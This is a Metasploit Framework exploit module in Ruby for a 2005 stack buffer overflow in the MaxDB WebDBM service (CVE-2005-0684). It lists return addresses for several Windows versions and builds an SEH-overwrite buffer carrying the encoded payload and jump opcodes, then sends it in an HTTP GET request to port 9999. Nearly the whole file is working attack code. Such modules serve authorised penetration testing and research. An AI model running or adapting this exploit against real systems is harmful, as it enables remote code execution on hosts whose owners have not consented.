Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::Remote::HttpClient

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'MaxDB WebDBM GET Buffer Overflow',

                        'Description'    => %q{

                                        This module exploits a stack buffer overflow in the MaxDB WebDBM

                                service. This service is included with many recent versions

                                of the MaxDB and SAPDB products. This particular module is

                                capable of exploiting Windows systems through the use of an

                                SEH frame overwrite. The offset to the SEH frame may change

                                depending on where MaxDB has been installed, this module

                                assumes a web root path with the same length as:

                                C:\Program Files\sdb\programs\web\Documents

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2005-0684'],

                                        [ 'OSVDB', '15816'],

                                        [ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],

                                        [ 'BID', '13368'],

                                ],

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 2052,

                                        'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",

                                        'StackAdjustment' => -3500,

                                },

                                'Platform'   => 'win',

                        'Targets'        =>

                                [

                                        ['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll

                                        ['Windows 2000 English',        { 'Ret' => 0x75022ac4 }], # ws2help.dll

                                        ['Windows XP English SP0/SP1',  { 'Ret' => 0x71aa32ad }], # ws2help.dll

                                        ['Windows 2003 English',        { 'Ret' => 0x7ffc0638 }], # peb magic :-)

                                        ['Windows NT 4.0 SP4/SP5/SP6',  { 'Ret' => 0x77681799 }], # ws2help.dll

                                ],

                        'DisclosureDate' => 'Apr 26 2005',

                        'DefaultTarget' => 0))

                register_options(

                        [

                                Opt::RPORT(9999)

                        ], self.class)

        end

        def exploit

                # Trigger the SEH by writing past the end of the page after

                # the SEH is already overwritten. This avoids the other smashed

                # pointer exceptions and goes straight to the payload.

                buf = rand_text_alphanumeric(16384)

                buf[1586, payload.encoded.length] = payload.encoded

                buf[3638, 5] = "\xe9" + [-2052].pack('V')

                buf[3643, 2] = "\xeb\xf9"

                buf[3647, 4] = [target.ret].pack('V')

                print_status("Trying target address 0x%.8x..." % target.ret)

                send_request_raw({

                        'uri' => '/%' + buf

                }, 5)

                handler

        end

end